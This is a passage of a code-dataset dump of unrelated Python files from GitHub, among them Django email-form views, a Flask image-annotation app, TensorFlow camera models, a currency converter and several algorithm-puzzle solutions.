set_glob_com_if_dict(custom_com_if_dict=custom_com_if_dict)\n pp = pprint.PrettyPrinter()\n update_global(CoreGlobalIds.PRETTY_PRINTER, pp)\n update_global(CoreGlobalIds.TM_LISTENER_HANDLE, None)\n update_global(CoreGlobalIds.COM_INTERFACE_HANDLE, None)\n update_global(CoreGlobalIds.TMTC_PRINTER_HANDLE, None)\n update_global(CoreGlobalIds.PRINT_RAW_TM, False)\n update_global(CoreGlobalIds.USE_LISTENER_AFTER_OP, True)\n update_global(CoreGlobalIds.RESEND_TC, False)\n update_global(CoreGlobalIds.OP_CODE, \"0\")\n update_global(CoreGlobalIds.MODE, CoreModeList.LISTENER_MODE)\n\n\n@deprecation.deprecated(deprecated_in=\"6.0.0rc0\", current_version=get_version())\ndef check_and_set_other_args(args):\n if args.listener is not None:\n update_global(CoreGlobalIds.USE_LISTENER_AFTER_OP, args.listener)\n if args.tm_timeout is not None:\n update_global(CoreGlobalIds.TM_TIMEOUT, args.tm_timeout)\n if args.print_hk is not None:\n update_global(CoreGlobalIds.PRINT_HK, args.print_hk)\n if args.print_tm is not None:\n update_global(CoreGlobalIds.PRINT_TM, args.print_tm)\n if args.raw_print is not None:\n update_global(CoreGlobalIds.PRINT_RAW_TM, args.raw_print)\n if args.print_log is not None:\n update_global(CoreGlobalIds.PRINT_TO_FILE, args.print_log)\n if args.resend_tc is not None:\n update_global(CoreGlobalIds.RESEND_TC, args.resend_tc)\n update_global(CoreGlobalIds.TC_SEND_TIMEOUT_FACTOR, 3)\n\n\ndef check_and_set_core_service_arg(\n service_arg: any, custom_service_list: collections.abc.Iterable = None\n):\n from tmtccmd.util.conf_util import check_args_in_dict\n\n in_enum, service_value = check_args_in_dict(\n param=service_arg, iterable=CoreServiceList, warning_hint=\"service\"\n )\n if in_enum:\n update_global(CoreGlobalIds.CURRENT_SERVICE, service_value)\n return\n\n service_arg_invalid = False\n if custom_service_list is not None:\n for custom_services_entry in custom_service_list:\n in_enum, service_value = check_args_in_dict(\n param=service_arg,\n iterable=custom_services_entry,\n warning_hint=\"custom mode\",\n )\n if in_enum:\n break\n if not in_enum:\n service_arg_invalid = True\n else:\n service_arg_invalid = True\n\n if service_arg_invalid:\n logging.getLogger(__name__).warning(\n \"Passed service argument might be invalid, \"\n f\"setting to {CoreServiceList.SERVICE_17}\"\n )\n service_value = CoreServiceList.SERVICE_17\n update_global(CoreGlobalIds.CURRENT_SERVICE, service_value)\n\n\ndef get_default_tmtc_defs() -> TmtcDefinitionWrapper:\n global DEF_WRAPPER\n if DEF_WRAPPER is None:\n DEF_WRAPPER = TmtcDefinitionWrapper()\n return DEF_WRAPPER\n","repo_name":"robamu-org/tmtccmd","sub_path":"tmtccmd/config/globals.py","file_name":"globals.py","file_ext":"py","file_size_in_byte":5964,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"53"} +{"seq_id":"9434479673","text":"\n# This program will be able to convert from one currency to another.\nimport converter as conv\n\n\nmsg = \"\"\"\nWelcome to our currency converter app.\n\nAmount (NGN): # {user_amount}\nAmount ({to_currency}): $ {amount_in_currency}\n\n\n\"\"\"\n\namount_in_naira = input(\"Enter amount (NGN): \")\nto_currency = input(\"Convert to:\\n 1. USD \\n 2. EUR\\n 3. YEN\\n 4. RAND\\n 5. RUPEE: \")\n\n# conditions\nif to_currency == '1':\n to_value_USD = conv.convert_to_USD(from_value=amount_in_naira)\n print(msg.format(user_amount=amount_in_naira,to_currency='USD', amount_in_currency=to_value_USD))\nelif to_currency == '2':\n to_value_EUR = conv.convert_to_EUR(from_value=amount_in_naira)\n print(msg.format(user_amount=amount_in_naira,to_currency='EUR', amount_in_currency=to_value_EUR))\nelif to_currency == '3':\n to_value_YEN = conv.convert_to_YEN(from_value=amount_in_naira)\n print(msg.format(user_amount=amount_in_naira,to_currency='YEN', amount_in_currency=to_value_YEN))\nelif to_currency == '4':\n to_value_RAND = conv.convert_to_RAND(from_value=amount_in_naira)\n print(msg.format(user_amount=amount_in_naira,to_currency='RAND', amount_in_currency=to_value_RAND))\nelif to_currency == '5':\n to_value_RUPEE = conv.convert_to_RUPEE(from_value=amount_in_naira)\n print(msg.format(user_amount=amount_in_naira,to_currency='RUPEE', amount_in_currency=to_value_RUPEE))\nelse:\n print(\"Invalid Input\")\n\n\n","repo_name":"intellisenseCodez/currency-converter","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"73098232487","text":"# ---------- Import ----------\nimport math\nimport sys\ninput = sys.stdin.readline\n\n# ---------- Main ----------\nrooms = int(input())\npeople = list(map(int, input().split()))\nmain, sub = map(int, input().split())\n\nresult = 0\nfor person in people:\n\tif person < main:\n\t\tresult += 1\n\t\tcontinue\n\telse:\n\t\tperson -= main\n\t\tresult += math.ceil(person/sub) + 1\n\t\t\nprint(result)","repo_name":"miny-genie/BOJ","sub_path":"acmicpc_13458.py","file_name":"acmicpc_13458.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"4272485281","text":"import django\n\nfrom django.conf import settings\n\n\n\n\n\n\n\n\nfrom django.shortcuts import render\nfrom django.core.mail import send_mail\n\ndef home(request):\n\treturn render(request, 'home.html', {})\n\ndef contact(request):\n\tif request.method == \"POST\":\n\t\t\n\t\tname = request.POST['name']\n\t\temail = request.POST['email']\n\t\tsubject = request.POST['subject']\n\t\tmessage = request.POST['message']\n\t\t\n\t\tmessage_email = \"Hello Flavio, \\n\" + \"You have received a contact us message from: \" + name + \"\\n Message: \\n\" + message + \"\\n To contact them back, here is their email: \" + email \n\t\t#send an email\n\t\tsend_mail(\n\t\t\tsubject,\n\t\t\t message_email,\n\t\t\t settings.EMAIL_HOST_USER,\n\t\t\t ['info@quattro-kc.com'],\n\t\t\t fail_silently=False)\n\n\t\tconfirmationmsg= \"Hello \" + name + ',\\n\\nYou are receiving this email to confirm your contact us message was sent successfully. We will respond to you shortly via email.\\n\\nThank you for choosing us for all your automotive needs!'\n\t\tsend_mail(\n\t\t\tsubject, confirmationmsg, settings.EMAIL_HOST_USER, [email], fail_silently=False)\n\t\t\t\n\n\n\n\t\treturn render(request, 'contact.html', {'name': name})\n\t\n\telse:\n\t\treturn render(request, 'contact.html', {})\n\ndef about(request):\n\treturn render(request, 'about.html', {})\n\ndef project(request):\n\treturn render(request, 'project.html', {})\n\ndef services(request):\n\treturn render(request, 'services.html', {})\n\ndef index(request):\n\treturn render(request, 'index.html', {})\n\ndef appointment(request):\n\tif request.method == \"POST\":\n\t\tyour_name = request.POST['your-name']\n\t\tyour_number = request.POST['your-number']\n\t\tdate = request.POST['date']\n\t\ttime = request.POST['time']\n\t\tyour_message = request.POST['your-message']\n\t\tservice = request.POST['service']\n\n\t\tappointment = \"Hello Flavio, \\nYou have an appointment that needs your confirmation. Here is the appointment information: \\n\" \"Name: \"+ your_name + \"\\nNumber: \" + your_number + \"\\nDate: \" + date + \"\\nTime: \" + time + \"\\nService: \" + service + \"\\nMessage: \" + your_message\n\n\t\tsend_mail(\n\t\t\t'Appointment Request', #subject\n\t\t\tappointment, #message\n\t\t\tsettings.EMAIL_HOST_USER, #from email\n\t\t\t['info@quattro-kc.com'], #To Email\n\t\t\tfail_silently=False)\n\t\t\t\n\n\n\t\treturn render(request, 'appointment.html', {\n\t\t\t'your_name': your_name,\n\t\t\t'your_number': your_number,\n\t\t\t'date': date,\n\t\t\t'time': time,\n\t\t\t'your_message': your_message,\n\t\t\t'service': service\n\t\t\t})\n\t\n\telse:\n\t\treturn render(request, 'index.html', {})","repo_name":"Wassimaly/Quattro-Motors","sub_path":"website/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"3705573225","text":"import abc\nimport dataclasses\nfrom typing import TypeVar, Optional, Tuple\n\nimport tensorflow as tf\n\nTensorLike = tf.types.experimental.TensorLike\n\n# Type annotation of any instance of subclass of `AbstractCamera`.\nCameraType = TypeVar('CameraType', bound='AbstractCamera')\n\n\n@dataclasses.dataclass\nclass AbstractCamera(abc.ABC):\n \"\"\"An abstract camera class that defines the interface of camera models.\n\n This class provides abstract interface expected by different camera model\n imaplementations. Custom camera model classes are expected to subclass from\n `AbstractCamera` and implement the abstract methods. See `PinholeCamera` for\n an example of a concrete class subclassing `AbstractCamera`.\n \"\"\"\n\n @abc.abstractmethod\n def project(self, points: TensorLike) -> tf.Tensor:\n \"\"\"Project 3D points in camera frame to image frame.\n\n Given a set of 3D points in camera frame, this method returns the 2D image\n projections.\n\n Note that extrinsics is currently not part of the camera model and thus this\n `project` method expects the input 3D points to be in camera space. So world\n space points should be first transformed to camera space before passing them\n to this method.\n\n This method supports arbritrary batching of input points tensor (including\n no batching in case of single 3D point as input).\n\n This abstract method should be implemented in the subclassed camera model.\n\n Args:\n points: A tensor of shape `(..., 3)` containing 3D point positions in the\n camera frame.\n\n Returns:\n 2D image projections in a `(..., 2)` tensor.\n \"\"\"\n pass\n\n @abc.abstractmethod\n def unproject(\n self, points: Optional[TensorLike] = None, to_rays: bool = True\n ) -> tf.Tensor:\n \"\"\"Unproject 2D pixel points in image space to camera space.\n\n Given a a set of 2d point coordinates in the camera image, this function\n unprojects each 2D point to either a 3D ray or point in camera space. When\n `to_rays` is set to `True` (default), the output will be normalized 3D ray\n direction vectors in camera frame passing through every 2D image point.\n When `to_rays` is set to `False`, the output will be 3D points along the\n rays at `z=1` plane.\n\n This function supports arbritrary batching of input points tensor (including\n no batching for a single point).\n\n This abstract method should be implemented in the subclassed camera model.\n\n Args:\n points: A tensor of shape `(..., 2)` containing 2D image projections. If\n not provided, all pixel centers will be unprojected.\n to_rays: If `True` the output will normalized ray direction vectors in the\n camera space passing through every 2D image point. Otherwise the output\n will be 3D points along the rays in camera frame at `z=1` plane.\n\n Returns:\n A tensor of shape `(..., 3)` containing the un-projected ray directions\n (or points along rays at `z=1`) passing though each input 2D image points.\n \"\"\"\n pass\n\n @abc.abstractmethod\n def pixel_centers(self) -> tf.Tensor:\n \"\"\"Returns 2D coordinates of centers of all pixels in the camera image.\n\n The pixel centers of camera image are returned as a float32 tensor of shape\n `(image_height, image_width, 2)`.\n\n This abstract method should be implemented in the subclassed camera model.\n\n Returns:\n 2D image coordinates of center of all pixels of the camer image in tensor\n of shape `(image_height, image_width, 2)`.\n \"\"\"\n pass\n\n\n@dataclasses.dataclass\nclass PinholeCamera(AbstractCamera):\n \"\"\"Linear (pin-hole) camera model.\n\n A linear camera model, where intrinsics is 3 x 3 matrix e.g.\n [fx s cx]\n K = [0 fy cy]\n [0 0 1]\n where fx, fy being focal length in pixels, s being skew, and cx, cy is\n principal point in pixels.\n\n This camera model uses the convention that top left corner of the image is\n `(0, 0)` and bottom right corner is `(image_width, image_height)`. So the\n center of the top left corner pixel is (0.5, 0.5).\n\n Example Usage:\n\n ```python\n # Create a pinhole camera instance with default constructor.\n camera = isun.geometry.PinholeCamera(\n K=[[fx, s, cx], [0, fy, cy], [0, 0, 1]],\n image_width=W,\n image_height=H,\n )\n\n # Alternatively, it is also possible to construct a pinhole camera instance\n # using classmethods like `from_fov` and `from_intrinsics`.\n\n # Construct a pinhole camera with horizontal field of view of 45°.\n camera = isun.geometry.PinholeCamera.from_fov(\n image_width=W,\n image_height=H,\n horizontal_fov_in_degrees=45.0)\n\n # Construct a pinhole camera from common intrinsics parameters.\n camera = isun.geometry.PinholeCamera.from_intrinsics(\n image_size_in_pixels=(W, H),\n focal_length_in_pixels=(fx, fy))\n\n # Project and unproject 1000 random points.\n image_points = camera.project(np.random.rand(1000, 3))\n camera_rays = camera.unproject(image_points)\n\n # Project and unproject single point.\n image_point = camera.project(tf.constant([320., 240.]))\n camera_rays = camera.unproject(image_point)\n\n # Create an array (H, W, 2) containing pixel center coordinates.\n pixel_centers = camera.pixel_centers()\n\n # Generate a pointcloud from depth image storing per pixel depth along rays.\n pointcloud = camera.unproject(pixel_centers, to_rays=True) * depth\n\n # Generate a pointcloud from depth image storing per pixel depth along Z.\n pointcloud = camera.unproject(pixel_centers, to_rays=False) * depth\n ```\n \"\"\"\n\n # 3x3 camera intrinsics matrix.\n K: TensorLike # pylint: disable=invalid-name\n # Width of the camera image in pixels.\n image_width: int = 0\n # Height of the camera image in pixels.\n image_height: int = 0\n\n def __post_init__(self):\n self.K = tf.convert_to_tensor(self.K)\n self.K = tf.ensure_shape(self.K, (3, 3))\n\n @classmethod\n def from_fov(\n cls,\n *,\n image_width: int,\n image_height: int,\n horizontal_fov_in_degrees: float,\n vertical_fov_in_degrees: Optional[float] = None,\n ) -> 'PinholeCamera':\n \"\"\"Creates a `PinholeCamera` from field of view parameters.\n\n This `classmethod` provides a convenient way to construct an `PinholeCamera`\n instance with common field of view (fov) parameters.\n\n Example Usage:\n\n ```python\n # Construct a pinhole camera with horizontal field of view of 45°.\n camera = isun.geometry.PinholeCamera.from_fov(\n image_width=W,\n image_height=H,\n horizontal_fov_in_degrees=45.0)\n ```\n\n Args:\n image_width: Camera image width in pixels.\n image_height: Camera image height in pixels.\n horizontal_fov_in_degrees: Horizontal fov of the camera in degrees.\n vertical_fov_in_degrees: Optional vertical fov of the camera in degrees.\n When set to `None` (default) we assume square pixel aspect ratio, and\n vertical focal length will be set to same as horizontal focal length.\n\n Returns:\n A `PinholeCamera` instance with provided intrinsics.\n \"\"\"\n\n def focal_length_from_fov(image_size, fov_in_degrees):\n fov_in_radians = tf.experimental.numpy.deg2rad(fov_in_degrees)\n focal_length = 0.5 * image_size / tf.math.tan(0.5 * fov_in_radians)\n return tf.cast(focal_length, tf.float32)\n\n fx = focal_length_from_fov(image_width, horizontal_fov_in_degrees)\n fy = (\n fx\n if vertical_fov_in_degrees is None\n else focal_length_from_fov(image_height, vertical_fov_in_degrees)\n )\n\n cx, cy = image_width / 2, image_height / 2\n return cls(\n image_width=image_width,\n image_height=image_height,\n K=tf.convert_to_tensor([[fx, 0.0, cx], [0.0, fy, cy], [0.0, 0.0, 1.0]]),\n )\n\n @classmethod\n def from_intrinsics(\n cls,\n *,\n image_size_in_pixels: Tuple[int, int],\n focal_length_in_pixels: Tuple[float, float],\n principal_point_in_pixels: Optional[Tuple[float, float]] = None,\n skew: float = 0.0,\n ) -> 'PinholeCamera':\n \"\"\"Creates a `PinholeCamera` from intrinsic parameters.\n\n This `classmethod` provides a convenient way to construct an `PinholeCamera`\n instance with common intrinsic parametrs.\n\n Example Usage:\n\n ```python\n # Construct a pinhole camera from common intrinsics parameters.\n camera = isun.geometry.PinholeCamera.from_intrinsics(\n image_size_in_pixels=(W, H),\n focal_length_in_pixels=(fx, fy),\n principal_point_in_pixels=(cx, cy),\n skew=skew)\n ```\n\n Args:\n image_size_in_pixels: (width, height) of the camera image in pixels.\n focal_length_in_pixels: (horizontal, vertical) focal length in pixels.\n principal_point_in_pixels: Optional (horizontal, vertical) principal point\n in pixels. If set to `None` (default), principal point is image center.\n skew: Skew coefficient.\n\n Returns:\n A `PinholeCamera` instance with provided intrinsics.\n \"\"\"\n image_width, image_height = image_size_in_pixels\n fx, fy = focal_length_in_pixels\n if principal_point_in_pixels is None:\n principal_point_in_pixels = (image_width / 2, image_height / 2)\n cx, cy = principal_point_in_pixels\n return cls(\n image_width=image_width,\n image_height=image_height,\n K=tf.convert_to_tensor(\n [[fx, skew, cx], [0.0, fy, cy], [0.0, 0.0, 1.0]]\n ),\n )\n\n def project(self, points: TensorLike) -> tf.Tensor:\n \"\"\"Project 3D points in camera frame to image frame.\n\n Given a set of 3D points in camera frame, this method returns the 2D image\n projections.\n\n Note that extrinsics is currently not part of the camera model and thus this\n `project` method expects the input 3D points to be in camera space. So world\n space points should be first transformed to camera space before passing them\n to this method.\n\n This method supports arbritrary batching of input points tensor (including\n no batching in case of single 3D point as input).\n\n Args:\n points: A tensor of shape `(..., 3)` containing 3D point positions in the\n camera frame.\n\n Returns:\n 2D image projections in a `(..., 2)` tensor.\n \"\"\"\n image_frame = tf.einsum('ij,...j->...i', self.K, points)\n image_frame = image_frame[..., :2] / image_frame[..., 2:3]\n return image_frame\n\n def unproject(\n self, points: Optional[TensorLike] = None, to_rays: bool = True\n ) -> tf.Tensor:\n \"\"\"Unproject 2D pixel points in image space to camera space.\n\n Given a a set of 2d point coordinates in the camera image, this functions\n unprojects each 2D point to either a 3D ray or point in camera space. When\n `to_rays` is set to `True` (default), the output will normalized 3D ray\n direction vectors in camera frame passing through every 2D image point.\n When `to_rays` is set to `False`, the output will be 3D points along the\n rays at `z=1` plane.\n\n This function supports arbritrary batching of input points tensor (including\n no batching for a single point).\n\n Args:\n points: A tensor of shape `(..., 2)` containing 2D image projections. If\n not provided, all pixel centers will be unprojected.\n to_rays: If `True` the output will normalized ray direction vectors in the\n camera space passing through every 2D image point. Otherwise the output\n will be 3D points along the rays in camera frame at `z=1` plane.\n\n Returns:\n A tensor of shape `(..., 3)` containing the un-projected ray directions\n (or points along rays at `z=1`) passing though each input 2D image points.\n \"\"\"\n if points is None:\n points = self.pixel_centers()\n\n image_frame = tf.concat((points, tf.ones_like(points[..., 0:1])), axis=-1)\n camera_frame = tf.einsum(\n 'ij,...j->...i', tf.linalg.inv(self.K), image_frame\n )\n if to_rays:\n camera_frame, _ = tf.linalg.normalize(camera_frame, axis=-1)\n else:\n camera_frame = camera_frame / tf.expand_dims(\n camera_frame[..., 2], axis=-1\n )\n return camera_frame\n\n def pixel_centers(self) -> tf.Tensor:\n \"\"\"Returns 2D coordinates of centers of all pixels in the camera image.\n\n The pixel centers of camera image are returned as a float32 tensor of shape\n `(image_height, image_width, 2)`.\n\n This camera model uses the convention that top left corner of the image is\n `(0, 0)` and bottom right corner is `(image_width, image_height)`. So the\n center of the top left corner pixel is `(0.5, 0.5)`.\n\n Returns:\n 2D image coordinates of center of all pixels of the camer image in tensor\n of shape `(image_height, image_width, 2)`.\n \"\"\"\n image_grid = tf.meshgrid(\n tf.range(self.image_width), tf.range(self.image_height), indexing='xy'\n )\n return tf.cast(tf.stack(image_grid, axis=-1), dtype=tf.float32) + 0.5\n","repo_name":"google-research/sunds","sub_path":"sunds/core/tf_geometry/cameras.py","file_name":"cameras.py","file_ext":"py","file_size_in_byte":12780,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"53"} +{"seq_id":"20009552868","text":"import json\n\ndata = '{\"var1\":\"khand\", \"var2\":55}'\nprint(data)\nparsed = json.loads(data)\nprint(parsed['var1'])\n\n# TASK1 - json.load \n\ndata2 = {\n \"channel_name\": \"code2hell\",\n \"cars\": ['bmw', 'audi a8', 'ferrari'],\n \"fridge\": ('roti', 540),\n \"isbad\": False\n}\njscomp = json.dumps(data2)\nprint(jscomp)\n\n\n\n# TASK2 - json.dump \nprint(\"hello world\")","repo_name":"khand420/Learn-Python","sub_path":"json.py","file_name":"json.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"6238582026","text":"import datetime\nimport decimal\n\n\ndef date_range(fromdate, todate):\n if type(fromdate) is not datetime.date:\n fromdate = datetime.date.fromisoformat(fromdate)\n delta = datetime.timedelta(1)\n if todate is None:\n while True:\n yield fromdate\n fromdate += delta\n if type(todate) is not datetime.date:\n todate = datetime.date.fromisoformat(todate)\n while fromdate < todate:\n yield fromdate\n fromdate += delta\n\n\ndef arg_range(variant_arg, delta_type, end_value, function, *args):\n if not (0 <= variant_arg < len(args)):\n raise ValueError(\"variant_arg must be in range [0, {})\".format(len(args)))\n elif delta_type not in (\"int\", \"date\"):\n raise ValueError(\"Accepted deltas are: [int, date]\")\n nargs = list(args)\n dynrange = {\"int\": range, \"date\": date_range}\n retvals = []\n for i in dynrange[delta_type](args[variant_arg], end_value):\n nargs[variant_arg] = i\n retvals.append((i, function(*nargs)))\n return retvals\n\n\ndef make_income(book, in_type, desc, value, f, t):\n if type(value) is not decimal.Decimal:\n value = decimal.Decimal(value)\n if value < 0:\n raise ValueError(\"Incomes must have positive value\")\n if type(f) is not datetime.date:\n f = datetime.date.fromisoformat(f)\n if type(t) is not datetime.date:\n t = datetime.date.fromisoformat(t)\n return book.add_income(in_type, desc, value, f, t)\n\n\ndef make_outcome(book, out_type, desc, value, f, t):\n if type(value) is not decimal.Decimal:\n value = decimal.Decimal(value)\n if value > 0:\n raise ValueError(\"Outcomes must have negative value\")\n if type(f) is not datetime.date:\n f = datetime.date.fromisoformat(f)\n if type(t) is not datetime.date:\n t = datetime.date.fromisoformat(t)\n return book.add_outcome(out_type, desc, value, f, t)\n\n\ndef calc_income(book, on_date):\n if type(on_date) is not datetime.date:\n on_date = datetime.date.fromisoformat(on_date)\n return sum(map(lambda x: x.value, book.incomes_for_day(on_date)))\n\n\ndef calc_outcome(book, on_date):\n if type(on_date) is not datetime.date:\n on_date = datetime.date.fromisoformat(on_date)\n return sum(map(lambda x: x.value, book.outcomes_for_day(on_date)))\n\n\ndef calc_balance(book, on_date):\n return calc_income(book, on_date) + calc_outcome(book, on_date)\n","repo_name":"kouta-kun/finpy","sub_path":"engine_functions.py","file_name":"engine_functions.py","file_ext":"py","file_size_in_byte":2399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"91953655","text":"#-------------------------\n# Blasterai/codaio library\nfrom codaio import Coda\n\n#-----------------\n# Standard library\nimport json\nimport re\n\n\"\"\"--------+---------+---------+---------+---------+---------+---------+---------+---------|\n| M A I N C L A S S |\n|----------+---------+---------+---------+---------+---------+---------+---------+-------\"\"\"\nclass Pycoda():\n\n \"\"\"--------+---------+---------+---------+---------+---------+---------+---------+---------|\n | C O N S T R U C T O R |\n |----------+---------+---------+---------+---------+---------+---------+---------+-------\"\"\"\n def __init__(self, strApiKey):\n #----------------------------\n # initialize class _CONSTANTS\n assert(strApiKey)\n self._init_meta()\n\n self.CODA_API_KEY = strApiKey\n self.coda = Coda(strApiKey)\n\n \"\"\"--------+---------+---------+---------+---------+---------+---------+---------+---------|\n | C L A S S R E Q U E S T S |\n |----------+---------+---------+---------+---------+---------+---------+---------+-------\"\"\"\n def list_docs(self):\n \"\"\" Returns a list of documents \"\"\"\n try:\n list = self.coda.list_docs(is_owner=True)\n except:\n return \"{}\"\n return self.json_items(list)\n\n def list_controls(self, strDocId):\n \"\"\" Returns a list of controls in DocId \"\"\"\n assert(strDocId)\n try:\n list = self.coda.list_controls(strDocId)\n except:\n return \"{}\"\n return self.json_items(list)\n\n def list_folders(self, strDocId):\n \"\"\" Returns a list of folders in DocId \"\"\"\n assert(strDocId)\n try:\n list = self.coda.list_folders(strDocId)\n except:\n return \"{}\"\n return self.json_items(list)\n\n def list_formulas(self, strDocId):\n \"\"\" Returns a list of formulas in DocId \"\"\"\n assert(strDocId)\n try:\n list = self.coda.list_formulas(strDocId)\n except:\n return \"{}\"\n return self.json_items(list)\n\n def list_sections(self, strDocId):\n \"\"\" Returns a list of sections in DocId \"\"\"\n assert(strDocId)\n try:\n list = self.coda.list_sections(strDocId)\n except:\n return \"{}\"\n return self.json_items(list)\n\n def list_tables(self, strDocId):\n \"\"\" Returns a list of tables in DocId \"\"\"\n assert(strDocId)\n try:\n list = self.coda.list_tables(strDocId)\n except:\n return \"{}\"\n return self.json_items(list)\n\n def list_views(self, strDocId):\n \"\"\" Returns a list of views in DocId \"\"\"\n assert(strDocId)\n try:\n list = self.coda.list_views(strDocId)\n except:\n return \"{}\"\n return self.json_items(list)\n\n def list_columns(self, strDocId, strTableId):\n \"\"\" Returns a list of columns in TableId \"\"\"\n assert(strDocId)\n assert(strTableId)\n try:\n list = self.coda.list_columns(strDocId, strTableId)\n except:\n return \"{}\"\n return self.json_items(list)\n\n def list_rows(self, strDocId, strTableId):\n \"\"\" Returns a list of rows in TableId \"\"\"\n assert(strDocId)\n assert(strTableId)\n try:\n list = self.coda.list_rows(strDocId, strTableId)\n except:\n return \"{}\"\n return self.json_items(list)\n\n \"\"\"--------+---------+---------+---------+---------+---------+---------+---------+---------|\n | C L A S S M E T H O D S |\n |----------+---------+---------+---------+---------+---------+---------+---------+-------\"\"\"\n def json_items(self, dictItems):\n strRet=\"\"\n for key in dictItems:\n if key == \"items\":\n for val in dictItems[key]:\n strRet=strRet+json.dumps(val)\n return strRet\n\n def json_error(self):\n jsnRet = json.dumps({})\n jsnRet['error_code'] = 1\n jsnRet['error_msg'] = 'Failed request'\n return jsnRet\n\n \"\"\"--------+---------+---------+---------+---------+---------+---------+---------+---------|\n | C L A S S M E T A D A T A |\n |----------+---------+---------+---------+---------+---------+---------+---------+-------\"\"\"\n def _init_meta(self):\n \"\"\"\n | _strMETACLASS, _strMETAVERSION, _strMETAFILE used to save() and load() members\n \"\"\"\n self._strMETACLASS = str(self.__class__).split('.')[1][:-2]\n self._strMETAVERSION = \"0.1\"\n \"\"\"\n | Filename \"_Class_Version_\"\n \"\"\"\n self._strMETAFILE = \"_\" + self._strMETACLASS + \"_\" + self._strMETAVERSION + \"_\"","repo_name":"dennislwm/coda-cli","sub_path":"app/pycoda.py","file_name":"pycoda.py","file_ext":"py","file_size_in_byte":4555,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"37640138428","text":"from flask import Flask, render_template, request, redirect\nfrom PIL import Image\nimport io\nimport base64\nfrom ImageDatabase import ImageDatabase\n\napp = Flask(__name__)\nglobal id\nglobal image\nglobal flag_no_images_left_to_draw\nflag_no_images_left_to_draw = False\n\ndb = ImageDatabase(\"image_database.db\")\n# get new image to display on the canvas\nid, image = db.get_original_image_from_database_that_has_no_drawn_image_yet()\nif id is None and image is None:\n flag_no_images_left_to_draw = True\n\n@app.route(\"/\")\ndef index():\n global image\n global id\n global flag_no_images_left_to_draw\n\n if db.row_exists(id) is False:\n id, image = db.get_original_image_from_database_that_has_no_drawn_image_yet()\n if id is None and image is None:\n flag_no_images_left_to_draw = True\n\n if flag_no_images_left_to_draw:\n return redirect(\"/manageDatabase\")\n return render_template(\"index.html\", background_image=base64.b64encode(image).decode('utf-8'))\n\n@app.route(\"/process_image\", methods=[\"POST\"])\ndef process_image():\n global id\n global image\n # Get the image data from the form\n image_data = request.form.get(\"image_data\")\n # Convert the data URL to a PIL Image\n image = Image.open(io.BytesIO(base64.b64decode(image_data.split(',')[1])))\n\n # Save the image as a PNG without the background\n output = io.BytesIO()\n image.save(output, format=\"PNG\")\n drawn_image = output.getvalue()\n\n # Add the drawn image to the database\n db.add_drawn_image(id, drawn_image)\n # get new image to display on the canvas\n id, image = db.get_original_image_from_database_that_has_no_drawn_image_yet()\n if id is None and image is None:\n return redirect(\"/manageDatabase\")\n return redirect(\"/\")\n\n@app.route(\"/manageDatabase\")\ndef manageDatabase():\n entries = db.get_all_entries()\n modified_entries = [] # Create a new list for modified entries\n for entry in entries:\n entry_id = entry[0]\n original_image_data = base64.b64encode(entry[1]).decode('utf-8') if entry[1] else None\n drawn_image_data = base64.b64encode(entry[2]).decode('utf-8') if entry[2] else None\n modified_entries.append((entry_id, original_image_data, drawn_image_data))\n return render_template(\"manageDatabase.html\", entries=modified_entries)\n\n@app.route('/upload', methods=['POST'])\ndef upload_images():\n global flag_no_images_left_to_draw\n global image\n global id\n\n if 'images' not in request.files:\n # Handle the case where no files were selected\n return redirect(request.referrer)\n uploaded_files = request.files.getlist('images')\n\n if not uploaded_files or uploaded_files[0].filename == '':\n return redirect(request.referrer)\n\n for file in uploaded_files:\n image_data = file.read()\n db.add_original_image(image_data)\n\n flag_no_images_left_to_draw = False\n id, image = db.get_original_image_from_database_that_has_no_drawn_image_yet()\n return redirect(request.referrer)\n\n@app.route(\"/deleteEntry/\", methods=[\"POST\"])\ndef deleteEntry(id):\n db.deleteEntry(id)\n return redirect(request.referrer)\n\n@app.route(\"/deleteEntryDrawing/\", methods=[\"POST\"])\ndef deleteEntryDrawing(id):\n db.deleteEntryDrawing(id)\n return redirect(request.referrer)\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=5000, debug=False)\n","repo_name":"RauschRobin/Studienarbeit","sub_path":"src/ToolForDatasetCreation/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"19514235168","text":"#!/bin/python3\nimport os\n\n\n# Find upper and lower bounds\ndef findBounds(machines, goal):\n max_power = 0\n total_effect = 0\n\n for m in machines:\n if m > max_power:\n max_power = m\n\n total_effect += 1 / m\n\n lower_bound = int(goal // total_effect)\n upper_bound = lower_bound + max_power\n\n return lower_bound, upper_bound\n\n\n# Calculate total production of all machines for given days\ndef findProduction(machines, days):\n production = 0\n\n for m in machines:\n production += days // m\n\n return production\n\n\n# Find lower and upper bounds of possible solution range. Then perform binary search.\n# Note that it is possible that more than one number of days can be equal to same production amount so we must also find\n# the lowest one\ndef minTime(machines, goal):\n lower_bound, upper_bound = findBounds(machines, goal)\n\n min_days = upper_bound\n\n while lower_bound <= upper_bound:\n mid = (lower_bound + upper_bound) // 2\n\n production = findProduction(machines, mid)\n\n if production < goal:\n lower_bound = mid + 1\n\n else:\n min_days = mid\n upper_bound = mid - 1\n\n return min_days\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n nGoal = input().split()\n\n n = int(nGoal[0])\n\n goal = int(nGoal[1])\n\n machines = list(map(int, input().rstrip().split()))\n\n ans = minTime(machines, goal)\n\n fptr.write(str(ans) + '\\n')\n\n 